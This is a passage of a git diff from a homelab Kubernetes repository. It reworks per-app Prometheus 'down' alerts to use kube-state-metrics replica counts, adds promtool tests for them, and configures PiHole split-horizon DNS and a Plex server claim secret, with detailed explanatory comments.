+      expr: kube_deployment_status_replicas_available{namespace="nextcloud", deployment="nextcloud"} == 0 or absent(kube_deployment_status_replicas_available{namespace="nextcloud", deployment="nextcloud"})
       for: 5m
       labels:
         severity: critical
         service: nextcloud
       annotations:
         summary: nextcloud is down
-        description: 'nextcloud has been unreachable for 5m (SLI: up).'
+        description: 'nextcloud: its Deployment has no available/ready replica for 5m, or the signal is gone entirely (SLI: up, via kube_deployment_status_replicas_available).'

apps/wave-1/radarr.yaml

@@ -348,6 +348,7 @@ metadata:
   annotations:
     homelab.keithjackson.dev/auth-mode: forward-auth
     homelab.keithjackson.dev/auth-groups: media-users,platform-admins
+    external-dns.alpha.kubernetes.io/controller: none
 spec:
   parentRefs:
   - name: shared
@@ -364,26 +365,6 @@ spec:
     - name: radarr
       port: 4180
 ---
-# ServiceMonitor (R-OBS-01)
-apiVersion: monitoring.coreos.com/v1
-kind: ServiceMonitor
-metadata:
-  name: radarr
-  namespace: radarr
-  labels:
-    release: kube-prometheus-stack
-    app.kubernetes.io/name: radarr
-spec:
-  selector:
-    matchLabels:
-      app.kubernetes.io/name: radarr
-  namespaceSelector:
-    matchNames:
-    - radarr
-  endpoints:
-  - port: metrics
-    interval: 30s
----
 # PrometheusRule SLI alerts (R-OBS-01)
 apiVersion: monitoring.coreos.com/v1
 kind: PrometheusRule
@@ -398,11 +379,11 @@ spec:
   - name: radarr.slis
     rules:
     - alert: radarr-down
-      expr: up{job="radarr"} == 0
+      expr: kube_deployment_status_replicas_available{namespace="radarr", deployment="radarr"} == 0 or absent(kube_deployment_status_replicas_available{namespace="radarr", deployment="radarr"})
       for: 5m
       labels:
         severity: critical
         service: radarr
       annotations:
         summary: radarr is down
-        description: 'radarr has been unreachable for 5m (SLI: up).'
+        description: 'radarr: its Deployment has no available/ready replica for 5m, or the signal is gone entirely (SLI: up, via kube_deployment_status_replicas_available).'

apps/wave-1/semaphore.yaml

@@ -227,6 +227,7 @@ metadata:
   annotations:
     homelab.keithjackson.dev/auth-mode: oidc
     homelab.keithjackson.dev/auth-groups: platform-admins
+    external-dns.alpha.kubernetes.io/controller: none
 spec:
   parentRefs:
   - name: shared
@@ -243,26 +244,6 @@ spec:
     - name: semaphore
       port: 3000
 ---
-# ServiceMonitor (R-OBS-01)
-apiVersion: monitoring.coreos.com/v1
-kind: ServiceMonitor
-metadata:
-  name: semaphore
-  namespace: semaphore
-  labels:
-    release: kube-prometheus-stack
-    app.kubernetes.io/name: semaphore
-spec:
-  selector:
-    matchLabels:
-      app.kubernetes.io/name: semaphore
-  namespaceSelector:
-    matchNames:
-    - semaphore
-  endpoints:
-  - port: metrics
-    interval: 30s
----
 # PrometheusRule SLI alerts (R-OBS-01)
 apiVersion: monitoring.coreos.com/v1
 kind: PrometheusRule
@@ -277,11 +258,11 @@ spec:
   - name: semaphore.slis
     rules:
     - alert: semaphore-down
-      expr: up{job="semaphore"} == 0
+      expr: kube_deployment_status_replicas_available{namespace="semaphore", deployment="semaphore"} == 0 or absent(kube_deployment_status_replicas_available{namespace="semaphore", deployment="semaphore"})
       for: 5m
       labels:
         severity: critical
         service: semaphore
       annotations:
         summary: semaphore is down
-        description: 'semaphore has been unreachable for 5m (SLI: up).'
+        description: 'semaphore: its Deployment has no available/ready replica for 5m, or the signal is gone entirely (SLI: up, via kube_deployment_status_replicas_available).'

apps/wave-1/sonarr.yaml

@@ -348,6 +348,7 @@ metadata:
   annotations:
     homelab.keithjackson.dev/auth-mode: forward-auth
     homelab.keithjackson.dev/auth-groups: media-users,platform-admins
+    external-dns.alpha.kubernetes.io/controller: none
 spec:
   parentRefs:
   - name: shared
@@ -364,26 +365,6 @@ spec:
     - name: sonarr
       port: 4180
 ---
-# ServiceMonitor (R-OBS-01)
-apiVersion: monitoring.coreos.com/v1
-kind: ServiceMonitor
-metadata:
-  name: sonarr
-  namespace: sonarr
-  labels:
-    release: kube-prometheus-stack
-    app.kubernetes.io/name: sonarr
-spec:
-  selector:
-    matchLabels:
-      app.kubernetes.io/name: sonarr
-  namespaceSelector:
-    matchNames:
-    - sonarr
-  endpoints:
-  - port: metrics
-    interval: 30s
----
 # PrometheusRule SLI alerts (R-OBS-01)
 apiVersion: monitoring.coreos.com/v1
 kind: PrometheusRule
@@ -398,11 +379,11 @@ spec:
   - name: sonarr.slis
     rules:
     - alert: sonarr-down
-      expr: up{job="sonarr"} == 0
+      expr: kube_deployment_status_replicas_available{namespace="sonarr", deployment="sonarr"} == 0 or absent(kube_deployment_status_replicas_available{namespace="sonarr", deployment="sonarr"})
       for: 5m
       labels:
         severity: critical
         service: sonarr
       annotations:
         summary: sonarr is down
-        description: 'sonarr has been unreachable for 5m (SLI: up).'
+        description: 'sonarr: its Deployment has no available/ready replica for 5m, or the signal is gone entirely (SLI: up, via kube_deployment_status_replicas_available).'

apps/wave-1/tests/app-slis.test.yaml

@@ -0,0 +1,245 @@
+# promtool rule-unit tests for the wave-1 per-app `<app>-down` SLI rules.
+# Manifests under test: every PrometheusRule in apps/wave-1/ — nextcloud, radarr, semaphore, sonarr
+# (container/Deployment) and keycloak (StatefulSet, see below). Discovered by the SUITE convention;
+# the flattened manifests are the RENDERED ones Flux applies.
+#
+# Run with: platform/monitoring/tests/run.sh apps/wave-1/tests/app-slis.test.yaml
+#
+# See apps/wave-0/tests/app-slis.test.yaml for the full history: these rules all read
+# `up{job="<app>"} == 0` until 2026-09-13 against a job no scrape target produced, and were
+# structurally inert on prod. Each is now pinned QUIET on the healthy state, FIRING on no-ready-
+# replica, and FIRING when the signal is ABSENT.
+#
+# KEYCLOAK IS THE INTERESTING ONE. Its server is a StatefulSet run by the Keycloak operator, NOT the
+# Deployment this ServiceDefinition would otherwise imply — so its rule reads
+# kube_statefulset_status_replicas_ready (catalog/keycloak.yaml declares
+# `observability.livenessWorkload: {kind: StatefulSet, name: keycloak}`). Had it been left to the
+# default, the `absent()` half would have matched forever and the alert would have been PERMANENTLY
+# FIRING, which is the other failure mode this repo has shipped to prod. Verified on prod
+# 2026-09-13: kube_statefulset_status_replicas_ready{namespace="keycloak", statefulset="keycloak"}
+# = 2, and the only Deployment in that namespace is keycloak-operator.
+rule_files:
+  - generated.rules.yaml
+
+evaluation_interval: 1m
+
+tests:
+  # ===========================================================================================
+  # 1. HEALTHY WAVE-1 -> every rule SILENT ("not permanently firing").
+  # ===========================================================================================
+  - interval: 1m
+    name: wave-1 healthy - every app ready, keycloak StatefulSet at 2 replicas - all quiet
+    input_series:
+      - series: 'kube_statefulset_status_replicas_ready{namespace="keycloak", statefulset="keycloak"}'
+        values: '2+0x20'
+      - series: 'kube_deployment_status_replicas_available{namespace="nextcloud", deployment="nextcloud"}'
+        values: '1+0x20'
+      - series: 'kube_deployment_status_replicas_available{namespace="radarr", deployment="radarr"}'
+        values: '1+0x20'
+      - series: 'kube_deployment_status_replicas_available{namespace="semaphore", deployment="semaphore"}'
+        values: '1+0x20'
+      - series: 'kube_deployment_status_replicas_available{namespace="sonarr", deployment="sonarr"}'
+        values: '1+0x20'
+      # The namespace's OTHER workloads are present on purpose: keycloak-operator is a Deployment in
+      # the keycloak namespace, and keycloak-db is a StatefulSet in it. A rule that matched the
+      # namespace only (not the object) would be satisfied — or triggered — by these instead of by
+      # the IdP itself. That is the exact masking KeycloakDown had to be fixed for.
+      - series: 'kube_deployment_status_replicas_available{namespace="keycloak", deployment="keycloak-operator"}'
+        values: '1+0x20'
+      - series: 'kube_statefulset_status_replicas_ready{namespace="keycloak", statefulset="keycloak-db"}'
+        values: '3+0x20'
+    alert_rule_test:
+      - eval_time: 10m
+        alertname: keycloak-down
+        exp_alerts: []
+      - eval_time: 10m
+        alertname: nextcloud-down
+        exp_alerts: []
+      - eval_time: 10m
+        alertname: radarr-down
+        exp_alerts: []
+      - eval_time: 10m
+        alertname: semaphore-down
+        exp_alerts: []
+      - eval_time: 10m
+        alertname: sonarr-down
+        exp_alerts: []
+
+  # ===========================================================================================
+  # 2. THE IdP ITSELF IS DOWN while its operator and DB are fine -> ONLY keycloak-down fires.
+  #    This is the anti-masking assertion: the neighbours in that namespace stay ready.
+  # ===========================================================================================
+  - interval: 1m
+    name: wave-1 keycloak StatefulSet has no ready replica (operator + DB fine) - keycloak-down fires
+    input_series:
+      - series: 'kube_statefulset_status_replicas_ready{namespace="keycloak", statefulset="keycloak"}'
+        values: '0+0x20'
+      - series: 'kube_deployment_status_replicas_available{namespace="keycloak", deployment="keycloak-operator"}'
+        values: '1+0x20'
+      - series: 'kube_statefulset_status_replicas_ready{namespace="keycloak", statefulset="keycloak-db"}'
+        values: '3+0x20'
+      - series: 'kube_deployment_status_replicas_available{namespace="nextcloud", deployment="nextcloud"}'
+        values: '1+0x20'
+      - series: 'kube_deployment_status_replicas_available{namespace="radarr", deployment="radarr"}'
+        values: '1+0x20'
+      - series: 'kube_deployment_status_replicas_available{namespace="semaphore", deployment="semaphore"}'
+        values: '1+0x20'
+      - series: 'kube_deployment_status_replicas_available{namespace="sonarr", deployment="sonarr"}'
+        values: '1+0x20'
+    alert_rule_test:
+      - eval_time: 10m
+        alertname: keycloak-down
+        exp_alerts:
+          - exp_labels:
+              severity: critical
+              service: keycloak
+              namespace: keycloak
+              statefulset: keycloak
+            exp_annotations:
+              summary: "keycloak is down"
+              description: "keycloak: its StatefulSet has no available/ready replica for 5m, or the signal is gone entirely (SLI: up, via kube_statefulset_status_replicas_ready)."
+      - eval_time: 10m
+        alertname: nextcloud-down
+        exp_alerts: []
+      - eval_time: 10m
+        alertname: radarr-down
+        exp_alerts: []
+      - eval_time: 10m
+        alertname: semaphore-down
+        exp_alerts: []
+      - eval_time: 10m
+        alertname: sonarr-down
+        exp_alerts: []
+
+  # ===========================================================================================
+  # 3. EACH DEPLOYMENT-BACKED APP DOWN -> its own rule fires, keycloak stays quiet.
+  # ===========================================================================================
+  - interval: 1m
+    name: wave-1 nextcloud/radarr/semaphore/sonarr have no available replica - each own rule fires
+    input_series:
+      - series: 'kube_statefulset_status_replicas_ready{namespace="keycloak", statefulset="keycloak"}'
+        values: '2+0x20'
+      - series: 'kube_deployment_status_replicas_available{namespace="nextcloud", deployment="nextcloud"}'
+        values: '0+0x20'
+      - series: 'kube_deployment_status_replicas_available{namespace="radarr", deployment="radarr"}'
+        values: '0+0x20'
+      - series: 'kube_deployment_status_replicas_available{namespace="semaphore", deployment="semaphore"}'
+        values: '0+0x20'
+      - series: 'kube_deployment_status_replicas_available{namespace="sonarr", deployment="sonarr"}'
+        values: '0+0x20'
+    alert_rule_test:
+      - eval_time: 10m
+        alertname: nextcloud-down
+        exp_alerts:
+          - exp_labels:
+              severity: critical
+              service: nextcloud
+              namespace: nextcloud
+              deployment: nextcloud
+            exp_annotations:
+              summary: "nextcloud is down"
+              description: "nextcloud: its Deployment has no available/ready replica for 5m, or the signal is gone entirely (SLI: up, via kube_deployment_status_replicas_available)."
+      - eval_time: 10m
+        alertname: radarr-down
+        exp_alerts:
+          - exp_labels:
+              severity: critical
+              service: radarr
+              namespace: radarr
+              deployment: radarr
+            exp_annotations:
+              summary: "radarr is down"
+              description: "radarr: its Deployment has no available/ready replica for 5m, or the signal is gone entirely (SLI: up, via kube_deployment_status_replicas_available)."
+      - eval_time: 10m
+        alertname: semaphore-down
+        exp_alerts:
+          - exp_labels:
+              severity: critical
+              service: semaphore
+              namespace: semaphore
+              deployment: semaphore
+            exp_annotations:
+              summary: "semaphore is down"
+              description: "semaphore: its Deployment has no available/ready replica for 5m, or the signal is gone entirely (SLI: up, via kube_deployment_status_replicas_available)."
+      - eval_time: 10m
+        alertname: sonarr-down
+        exp_alerts:
+          - exp_labels:
+              severity: critical
+              service: sonarr
+              namespace: sonarr
+              deployment: sonarr
+            exp_annotations:
+              summary: "sonarr is down"
+              description: "sonarr: its Deployment has no available/ready replica for 5m, or the signal is gone entirely (SLI: up, via kube_deployment_status_replicas_available)."
+      - eval_time: 10m
+        alertname: keycloak-down
+        exp_alerts: []
+
+  # ===========================================================================================
+  # 4. THE SIGNAL VANISHES -> the rules FIRE. The defect class itself, asserted on: a rule that can
+  #    only fire on `== 0` goes SILENT when kube-state-metrics or the workload object disappears,
+  #    which is indistinguishable from healthy. Here NOTHING in wave-1 is scraped.
+  # ===========================================================================================
+  - interval: 1m
+    name: wave-1 all liveness series ABSENT (kube-state-metrics gone) - every rule fires
+    input_series:
+      # One unrelated series so the test has an input at all; no wave-1 liveness series exists.
+      - series: 'up{job="kube-state-metrics"}'
+        values: '0+0x20'
+    alert_rule_test:
+      - eval_time: 10m
+        alertname: keycloak-down
+        exp_alerts:
+          - exp_labels:
+              severity: critical
+              service: keycloak
+              namespace: keycloak
+              statefulset: keycloak
+            exp_annotations:
+              summary: "keycloak is down"
+              description: "keycloak: its StatefulSet has no available/ready replica for 5m, or the signal is gone entirely (SLI: up, via kube_statefulset_status_replicas_ready)."
+      - eval_time: 10m
+        alertname: nextcloud-down
+        exp_alerts:
+          - exp_labels:
+              severity: critical
+              service: nextcloud
+              namespace: nextcloud
+              deployment: nextcloud
+            exp_annotations:
+              summary: "nextcloud is down"
+              description: "nextcloud: its Deployment has no available/ready replica for 5m, or the signal is gone entirely (SLI: up, via kube_deployment_status_replicas_available)."
+      - eval_time: 10m
+        alertname: radarr-down
+        exp_alerts:
+          - exp_labels:
+              severity: critical
+              service: radarr
+              namespace: radarr
+              deployment: radarr
+            exp_annotations:
+              summary: "radarr is down"
+              description: "radarr: its Deployment has no available/ready replica for 5m, or the signal is gone entirely (SLI: up, via kube_deployment_status_replicas_available)."
+      - eval_time: 10m
+        alertname: semaphore-down
+        exp_alerts:
+          - exp_labels:
+              severity: critical
+              service: semaphore
+              namespace: semaphore
+              deployment: semaphore
+            exp_annotations:
+              summary: "semaphore is down"
+              description: "semaphore: its Deployment has no available/ready replica for 5m, or the signal is gone entirely (SLI: up, via kube_deployment_status_replicas_available)."
+      - eval_time: 10m
+        alertname: sonarr-down
+        exp_alerts:
+          - exp_labels:
+              severity: critical
+              service: sonarr
+              namespace: sonarr
+              deployment: sonarr
+            exp_annotations:
+              summary: "sonarr is down"
+              description: "sonarr: its Deployment has no available/ready replica for 5m, or the signal is gone entirely (SLI: up, via kube_deployment_status_replicas_available)."

apps/wave-2/seerr.yaml

@@ -233,26 +233,6 @@ spec:
     - name: seerr
       port: 5055
 ---
-# ServiceMonitor (R-OBS-01)
-apiVersion: monitoring.coreos.com/v1
-kind: ServiceMonitor
-metadata:
-  name: seerr
-  namespace: seerr
-  labels:
-    release: kube-prometheus-stack
-    app.kubernetes.io/name: seerr
-spec:
-  selector:
-    matchLabels:
-      app.kubernetes.io/name: seerr
-  namespaceSelector:
-    matchNames:
-    - seerr
-  endpoints:
-  - port: metrics
-    interval: 30s
----
 # PrometheusRule SLI alerts (R-OBS-01)
 apiVersion: monitoring.coreos.com/v1
 kind: PrometheusRule
@@ -267,11 +247,11 @@ spec:
   - name: seerr.slis
     rules:
     - alert: seerr-down
-      expr: up{job="seerr"} == 0
+      expr: kube_deployment_status_replicas_available{namespace="seerr", deployment="seerr"} == 0 or absent(kube_deployment_status_replicas_available{namespace="seerr", deployment="seerr"})
       for: 5m
       labels:
         severity: critical
         service: seerr
       annotations:
         summary: seerr is down
-        description: 'seerr has been unreachable for 5m (SLI: up).'
+        description: 'seerr: its Deployment has no available/ready replica for 5m, or the signal is gone entirely (SLI: up, via kube_deployment_status_replicas_available).'

apps/wave-2/tests/app-slis.test.yaml

@@ -0,0 +1,69 @@
+# promtool rule-unit tests for the wave-2 per-app `<app>-down` SLI rule (seerr).
+# Manifest under test: apps/wave-2/seerr.yaml. Discovered by the SUITE convention; the flattened
+# manifest is the RENDERED one Flux applies.
+#
+# Run with: platform/monitoring/tests/run.sh apps/wave-2/tests/app-slis.test.yaml
+#
+# seerr (Jellyseerr/Overseerr) exports NO Prometheus metrics of its own, so its `up` SLI could never
+# have been met by scraping the app — see apps/wave-0/tests/app-slis.test.yaml for the full history
+# of the inert `up{job="seerr"} == 0` rule this replaces. Pinned in both directions plus the
+# signal-vanishes case.
+rule_files:
+  - generated.rules.yaml
+
+evaluation_interval: 1m
+
+tests:
+  - interval: 1m
+    name: wave-2 healthy - seerr has an available replica - quiet
+    input_series:
+      - series: 'kube_deployment_status_replicas_available{namespace="seerr", deployment="seerr"}'
+        values: '1+0x20'
+    alert_rule_test:
+      - eval_time: 10m
+        alertname: seerr-down
+        exp_alerts: []
+
+  - interval: 1m
+    name: wave-2 seerr has no available replica - seerr-down fires
+    input_series:
+      - series: 'kube_deployment_status_replicas_available{namespace="seerr", deployment="seerr"}'
+        values: '0+0x20'
+    alert_rule_test:
+      - eval_time: 10m
+        alertname: seerr-down
+        exp_alerts:
+          - exp_labels:
+              severity: critical
+              service: seerr
+              namespace: seerr
+              deployment: seerr
+            exp_annotations:
+              summary: "seerr is down"
+              description: "seerr: its Deployment has no available/ready replica for 5m, or the signal is gone entirely (SLI: up, via kube_deployment_status_replicas_available)."
+    # Under `for: 5m` a 2m-old condition must NOT yet be a firing alert, but the expression must
+    # already be selecting — the distinction an inert rule cannot make.
+    promql_expr_test:
+      - expr: 'kube_deployment_status_replicas_available{namespace="seerr", deployment="seerr"} == 0 or absent(kube_deployment_status_replicas_available{namespace="seerr", deployment="seerr"})'
+        eval_time: 2m
+        exp_samples:
+          - labels: 'kube_deployment_status_replicas_available{deployment="seerr", namespace="seerr"}'
+            value: 0
+
+  - interval: 1m
+    name: wave-2 seerr liveness series ABSENT - seerr-down still fires
+    input_series:
+      - series: 'up{job="kube-state-metrics"}'
+        values: '1+0x20'
+    alert_rule_test:
+      - eval_time: 10m
+        alertname: seerr-down
+        exp_alerts:
+          - exp_labels:
+              severity: critical
+              service: seerr
+              namespace: seerr
+              deployment: seerr
+            exp_annotations:
+              summary: "seerr is down"
+              description: "seerr: its Deployment has no available/ready replica for 5m, or the signal is gone entirely (SLI: up, via kube_deployment_status_replicas_available)."

catalog/keycloak.yaml

@@ -31,5 +31,15 @@ observability:
   metrics: true
   slis:
     - up                      # IdP down/unhealthy is a critical alert (docs/10; R-OBS-01)
+  # WHAT "up" IS for Keycloak. The Keycloak OPERATOR runs the server as a StatefulSet named
+  # `keycloak` (pods keycloak-0/1), not as the Deployment this ServiceDefinition would otherwise
+  # imply — the operator owns the workload (platform/keycloak/keycloak-instance.yaml) and this SD
+  # is the catalog's declaration of intent for it. Without this override the rendered SLI would
+  # read a Deployment series that does not exist and its `absent()` half would fire FOREVER.
+  # Verified on prod 2026-09-13: kube_statefulset_status_replicas_ready{namespace="keycloak",
+  # statefulset="keycloak"} = 2, and the only Deployment in that namespace is keycloak-operator.
+  livenessWorkload:
+    kind: StatefulSet
+    name: keycloak
 backup:
   policy: daily-offcluster    # DR-critical: rebuilds from DB + git realm config (docs/15, docs/04; R-STATE-03)

catalog/pihole.yaml

@@ -13,6 +13,93 @@ storage:
     size: 2Gi
     class: longhorn           # replicated config state; DR-critical (docs/04 line 118; R-STATE-02/03)
 dependencies: []              # default-deny: reaches only DNS; it PROVIDES DNS (docs/03; R-NET-01/02)
+# ------------------------------------------------------------------------------------------------
+# LAN SPLIT-HORIZON DNS — the half of R-DNS-03 that platform/coredns/coredns-custom.yaml defers to.
+# ------------------------------------------------------------------------------------------------
+# coredns-custom answers the ${BASE_DOMAIN} zone for PODS ONLY and says so in its own header ("LAN
+# clients keep their own answers (PiHole split-horizon)"). Until now PiHole served no DNS at all —
+# its Service was ClusterIP :80/:4180, no port 53, no LoadBalancer — so the LAN half did not exist
+# and LAN clients depended on hand-maintained per-client dnsmasq files. One went stale after the dev
+# decommission and cost the operator sonarr.${BASE_DOMAIN}. Upstream cannot cover for it either: the
+# SOHO router that owns this LAN strips RFC1918 answers for public domains as rebind protection and
+# returns NOERROR / ANSWER 0. apps/wave-0/pihole-dns.yaml exposes udp/53 + tcp/53 on
+# ${PIHOLE_DNS_VIP}; these env vars are what make the ANSWERS declarative.
+#
+# WHY env AND NOT A RECONCILER: the repo's level-triggered CronJob reconcilers
+# (platform/keycloak/client-secret-reconciler.yaml, the CNPG grant reconciler in
+# apps/wave-0/nextcloud-db.yaml) exist because their state has NO declarative entry point — a
+# Keycloak client secret lives in Keycloak's own database and a Postgres GRANT lives in the
+# catalog, and nothing in a manifest can express either. PiHole v6 is not that case. Every FTL
+# setting has an `FTLCONF_<section>_<key>` environment variable, and a value supplied that way is
+# ENV-FORCED: FTL logs it as "forced through environment", applies it on every start ahead of
+# /etc/pihole/pihole.toml, and marks it read-only in the admin UI so a human cannot drift it. That
+# is strictly better than a reconciler — it is enforced at t=0 on a cold start rather than at the
+# next cron tick, it cannot be defeated by the UI, and it carries no extra RBAC, image or Job. A
+# CronJob here would be ceremony around a knob the app already exposes. (Verified on the live prod
+# image, PiHole Core v6.4.3 / FTL v6.7, 2026-09-14.)
+#
+# THE PVC IS NOT THE MECHANISM AND MUST NOT BE. The `config` volume below mounts at /data/config;
+# PiHole's actual state directory is /etc/pihole, which is EPHEMERAL in this Deployment. Anything
+# configured through the UI is lost on the next reschedule — which is exactly what happened to the
+# upstream servers: the live pod's pihole.toml carried a hand-set `upstreams` marked "### CHANGED"
+# that no manifest declared, so a restart would have left PiHole with upstreams = [] and no
+# recursion at all. Declaring upstreams here closes that too: PiHole must stay a usable GENERAL
+# resolver, not only authoritative for this zone, or pointing LAN clients at it breaks the internet.
+env:
+  # Default is LOCAL, which answers only clients on the same subnet as the listening interface. The
+  # pod's interface is on the CLUSTER pod CIDR, so every LAN client would be refused. ALL is
+  # required for a LoadBalancer-fronted resolver; what keeps PiHole from being an OPEN resolver is
+  # the exposure, not this setting — `loadBalancerSourceRanges: [${LAN_CIDR}]` on the DNS Services,
+  # enforced by Cilium in the datapath before load-balancing, plus a CiliumNetworkPolicy that admits
+  # nothing but udp/53 and tcp/53. See apps/wave-0/pihole-dns.yaml.
+  - name: FTLCONF_dns_listeningMode
+    value: "ALL"
+  # Recursion for everything that is NOT this zone. Public resolvers on purpose, NOT the SOHO
+  # router at the LAN gateway: that router is the box whose rebind protection strips RFC1918
+  # answers, and forwarding to a device that may forward back here invites a loop.
+  - name: FTLCONF_dns_upstreams
+    value: "8.8.8.8;8.8.4.4"
+  # Per-client query rate limit OFF (default: 1000 queries per 60s, then REFUSED). It has to be off
+  # because of how the DNS Services are exposed: apps/wave-0/pihole-dns.yaml uses
+  # externalTrafficPolicy Cluster — it must, or LAN resolution breaks whenever Cilium's L2
+  # announcement lease and the pihole pod land on different nodes, which is most of the time — and
+  # Cilium runs in SNAT mode here, so a query forwarded between nodes reaches PiHole carrying the
+  # INGRESS NODE's address instead of the client's. Every LAN device therefore counts against ONE
+  # apparent client's budget, and a normal evening of browsing from a handful of machines would trip
+  # a limit meant to catch one misbehaving host. Leaving it at the default turns the whole LAN's DNS
+  # off for 60 seconds at a time, intermittently, which is the worst possible failure shape. The
+  # limit becomes meaningful again — and should be restored — if Cilium is ever switched to
+  # `loadBalancer.mode: dsr`, which preserves the client address.
+  - name: FTLCONF_dns_rateLimit_count
+    value: "0"
+  # THE SPLIT-HORIZON ANSWERS. A dnsmasq `address=/<domain>/<ip>` entry answers that domain AND
+  # every subdomain of it, and dnsmasq resolves overlapping entries by LONGEST MATCHING DOMAIN —
+  # so the first line is a wildcard for the whole zone and each later line is a specific override.
+  # PRECEDENCE IS THEREFORE STRUCTURAL, not order-dependent: `unifi.${BASE_DOMAIN}` matches both
+  # line 1 and line 2, line 2 is the longer domain, line 2 wins. Rewriting these in any order
+  # changes nothing.
+  #
+  # A NEWLY ONBOARDED SERVICE NEEDS NO CHANGE HERE. Every catalog ingressRoute host is
+  # `<label>.${BASE_DOMAIN}` served by the shared Gateway, so the wildcard already answers it with
+  # ${GATEWAY_VIP} — the same guarantee, and the same reasoning, as the `template IN A` block in
+  # platform/coredns/coredns-custom.yaml. Add a line here ONLY for a service that does not live
+  # behind the Gateway: an L4 LoadBalancer on its own pinned VIP. Those are enumerated from the
+  # repo, not from memory — grep `external-dns.alpha.kubernetes.io/hostname` on a Service, which
+  # is the annotation that means "this Service publishes its own hostname at its own address":
+  # apps/vms/unifi/50-service-l4.yaml (unifi -> ${UNIFI_L4_VIP}) and
+  # platform/crafty/service-l4.yaml (crafty-mc -> ${CRAFTY_L4_VIP}). Those two, plus PiHole's own
+  # resolver address, are the complete set of exceptions today.
+  #
+  # AAAA needs nothing: dnsmasq answers a AAAA query for an `address=`d name with NODATA
+  # (NOERROR, no answer), so IPv6-capable clients fall back to the A record instead of getting
+  # NXDOMAIN — the same behaviour coredns-custom hand-writes a `template IN AAAA` block for.
+  #
+  # Array-valued FTLCONF variables are SEMICOLON-separated. A JSON-looking list is accepted and
+  # then silently wrong: FTL stores `["a","b"]` as ONE array element containing those literal
+  # characters, writes that single bogus line into /etc/pihole/dnsmasq.conf and reports "0 invalid"
+  # while resolution for the zone does not work. Confirmed both ways against the live image.
+  - name: FTLCONF_misc_dnsmasq_lines
+    value: "address=/${BASE_DOMAIN}/${GATEWAY_VIP};address=/unifi.${BASE_DOMAIN}/${UNIFI_L4_VIP};address=/crafty-mc.${BASE_DOMAIN}/${CRAFTY_L4_VIP};address=/pihole-dns.${BASE_DOMAIN}/${PIHOLE_DNS_VIP}"
 ingressRoutes:
   - host: pihole.${BASE_DOMAIN}
     port: 80                  # admin web UI, protected at the Gateway by forward-auth (docs/09)

catalog/plex.yaml

@@ -32,11 +32,46 @@ env:
   # (10.43.0.0/16); 192.168.0.0/16 covers the home LAN.
   - name: ALLOWED_NETWORKS
     value: 10.0.0.0/8,192.168.0.0/16
-  # PLEX_CLAIM is deliberately NOT set here: a https://plex.tv/claim token has a ~4-min TTL, far
-  # shorter than the commit -> push -> Flux reconcile -> pod-roll cycle, so any token committed to git
-  # is already expired by the time the pod starts. Claiming is a one-time LIVE step (UI sign-in, or a
-  # single API POST) against the running server; the claim then persists on the /config PVC and
-  # survives pod rolls (including the roll this env change causes), so it never belongs in git.
+  # PLEX_CLAIM — the ONE-SHOT plex.tv server claim, sourced from the SOPS Secret `plex-claim`
+  # (apps/wave-0/plex-claim-secret.sops.yaml, same wave => applied in the same reconcile as this
+  # workload). Plex cannot create libraries over the mounted bulk share while the server is
+  # UNCLAIMED, so this is wired; it was previously left out on the reasoning below, and only one
+  # half of that reasoning survived contact with the upstream source.
+  #
+  # A SHORT TTL IS THE OPERATIONAL CONSTRAINT, not a reason to abstain. A https://plex.tv/claim token
+  # expires in MINUTES — read the countdown the claim page renders; do not budget against a number
+  # written in this tree. (This comment previously asserted "~4 minutes" as established fact. It was
+  # UNCITED, upstream plexinc/pms-docker documents no expiry at all, and that number was load-bearing
+  # for the whole procedure design — including a since-disproven claim that the delivery pipeline was
+  # too slow to fit inside it. Measured 2026-09-29: the full loop is ~2m45s and fits.)
+  #
+  # The live token is injected by the operator inside that window, with an explicit `flux reconcile`
+  # to collapse the wait. Scripted end to end as infra/plex/claim-ship.sh; runbooks/plex-claim.md is
+  # the procedure. SERVER CLAIMED 2026-09-29 — this env is now a permanent no-op (see below), and the
+  # committed value is the spent token from that claim rather than the original placeholder.
+  #
+  # ONE-SHOT, AND SAFE TO SIT HERE EXPIRED. Verified from plexinc/pms-docker's own first-run script
+  # (branch `master`, root/etc/cont-init.d/40-plex-first-run, confirmed byte-identical to the file in
+  # the running `:latest` image), NOT assumed:
+  #   - the exchange (line 106) is guarded on TWO conditions: PLEX_CLAIM non-empty AND the
+  #     PlexOnlineToken pref in /config empty. Once claimed, the block is SKIPPED — this env is a
+  #     no-op on every subsequent start, whatever it holds. (Upstream README: "If server is already
+  #     logged in, this parameter is ignored.") The claim itself persists on the /config PVC as before.
+  #   - an invalid/expired token on a still-unclaimed /config gets a 403 with an empty body; curl's
+  #     status is unchecked, the token `sed` yields "", the success branch at line 120 does not fire,
+  #     there is no `else` and no `exit 1`, and the script (no `set -e`) exits 0. It comes up UNCLAIMED and
+  #     SERVING — it does NOT crashloop. The image also leaves S6_BEHAVIOUR_IF_STAGE2_FAILS at its
+  #     default 0, which continues startup even when a cont-init script fails.
+  # So the earlier "a placeholder claim Secret would crashloop the pod" note was WRONG about the
+  # placeholder; it was right only about an ABSENT Secret. secretKeyRef here has no `optional` field,
+  # so the Secret must always exist in the Flux graph — which is why it is committed, encrypted, and
+  # listed in apps/wave-0/kustomization.yaml rather than hand-created at claim time. No schema change
+  # is needed: `optional` would only matter if a missing Secret had to be tolerated, and it doesn't.
+  - name: PLEX_CLAIM
+    valueFrom:
+      secretKeyRef:
+        name: plex-claim
+        key: PLEX_CLAIM
   # ADVERTISE_IP ("Custom server access URLs") is DEFERRED, not accidentally omitted. It tells Plex
   # which URL to advertise to plex.tv for REMOTE clients. The only candidate is
   # https://plex.home.keithjackson.dev, but that host resolves via split-horizon DNS to the INTERNAL
@@ -56,10 +91,12 @@ storage:
                               # container's EPHEMERAL layer -> unclaimed + all state lost on restart. The image inits as
                               # root (s6-svscan PID 1), chowns /config to the plex user, then drops -> no fsGroup needed
                               # (verified in-cluster: PID1=root, "Plex Media Server"=plex). Persisting /config here also
-                              # makes the claim survive restarts once claimed. To auto-claim on first boot instead of the
-                              # UI sign-in, the operator adds a PLEX_CLAIM env from a fresh https://plex.tv/claim token
-                              # (4-min TTL) — deliberately NOT wired here: the env secretKeyRef pattern has no `optional`,
-                              # so a placeholder/absent claim Secret would crashloop the pod. See operator hand-off.
+                              # makes the claim survive restarts once claimed — which is what makes the PLEX_CLAIM env
+                              # above a ONE-SHOT: the token is exchanged for a PlexOnlineToken written here, and the
+                              # exchange is then skipped on every later start. (The older note here claimed a
+                              # placeholder claim Secret "would crashloop the pod"; upstream's first-run script says
+                              # otherwise — see the PLEX_CLAIM comment in `env` above. An ABSENT Secret is the hard
